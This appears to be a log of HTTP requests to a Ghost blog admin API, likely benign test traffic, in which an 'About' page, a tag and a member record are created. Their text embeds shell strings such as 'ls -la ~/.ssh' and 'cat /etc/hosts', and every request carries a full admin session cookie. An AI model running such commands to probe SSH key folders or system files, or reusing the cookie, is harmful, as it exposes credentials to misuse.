.htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=id%3A6af45d34d281b00001a599a0&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45d34d281b00001a599a0\",\"6af45711d281b00001a598a6\"]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 433", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"tags\":[{\"name\":\"Linux & ls -la\",\"slug\":\"linux-ls-la\",\"description\":\"Posts about ls -la, cat /etc/hosts, python3 and .htaccess.\",\"feature_image\":null,\"meta_title\":null,\"meta_description\":null,\"canonical_url\":null,\"twitter_image\":null,\"twitter_title\":null,\"twitter_description\":null,\"og_image\":null,\"og_title\":null,\"og_description\":null,\"codeinjection_head\":null,\"codeinjection_foot\":null,\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/slug/linux-ls-la/?include=count.posts", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tags-0mC6Zln1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=visibility%3Apublic", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/member-detail-BDR1RD_P.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/member-activity-feed-BtW3zf09.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3Aactive&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/InterVariable-Italic-FCBEiFp6.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/labels/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"labels\":[{\"name\":\"powershell users\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "Content-Length: 257", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"members\":[{\"email\":\"carol.python3@example.com\",\"name\":\"Carol python3 Example\",\"note\":\"Asked about .htaccess and ls -la on a shared host.\",\"labels\":[{\"name\":\"powershell 